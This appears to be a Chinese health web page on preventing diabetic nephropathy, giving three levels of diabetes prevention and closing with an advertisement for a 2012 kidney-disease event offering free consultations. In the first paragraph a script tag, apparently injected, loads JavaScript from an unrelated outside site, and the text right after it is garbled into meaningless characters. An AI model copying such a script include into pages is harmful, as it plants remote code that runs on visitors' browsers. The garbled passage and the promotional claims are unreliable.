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预防糖尿病肾病终极法宝
我国糖尿病的发病率在世界上位居第二，四死亡率极高的一种疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>昀从商悄虿∫⒌奶悄虿∩霾〉姆⒉÷室苍诔手鹉晟仙那魇疲し捞悄虿∩霾∫丫仍诿冀蕖Ｔし捞悄虿∩霾∮惺裁捶ūβ穑?br /> 一：是对整个人群进行的非选择性预防， 主要是改变环境因素和生活方式，将导致糖尿病发生的各种因素降至最低。糖尿病的发生与热量摄入过多、营养过剩、肥胖、缺少运动等因素有密切关系，因此在日常生活中应注意减少热量摄入，养成“三低一高”(低盐、低糖、低脂、高纤维)的饮食习惯，多食新鲜蔬菜和水果，米面不要吃得太精，多吃点五谷杂粮，此外每天要进行适度的体育锻炼。
二：糖尿病的高危人群(主要包括有糖尿病家族史、高血压、高血脂症、40岁以上肥胖及妊娠糖尿病等)要定期检测血糖，以早期发现阴性的2型糖尿病(即只有血糖升高而患者无明显症状)及糖耐量减退，做到早发现、早治疗。糖耐量减退又称为“糖尿病前期”，是指血糖高于正常，但尚未达到糖尿病的诊断标准，这部分患者经过饮食或药物治疗有可能转为正常，如果不加控制有可能发展为糖尿病。
三：糖尿病如果长期得不到良好控制，还能引起心、脑、肾、神经、眼睛等重要器官的并发症，甚至导致残疾或者死亡。三级预防即对已经确诊的糖尿病患者通过饮食治疗、运动治疗、药物治疗、心理治疗、糖尿病教育等各种手段，力求达到预防或者延缓糖尿病的并发症(主要是慢性并发症)的发生与发展，以最大限度地减轻糖尿病患者的痛苦，提高患者的生活质量。
“激情五月，关爱健康”大型公益活动，2012年5月1日-6月1日，在南京远大肾病医学研究院协和、解放军军区总院、解放军空军医院、北京武警医院等一百多家医院举办“2012国际肾病治疗高新技术交流会”，届时将有英国ColinJohon 教授(英国南安普敦中央医院肾脏内科主任)、袁伟毅教授等知名肾病专家倾情坐诊。活动期间将免去肾病的多项检查费用，并且针对患者病情免费专家会诊，造福中国万民，幸福千万肾病家庭。
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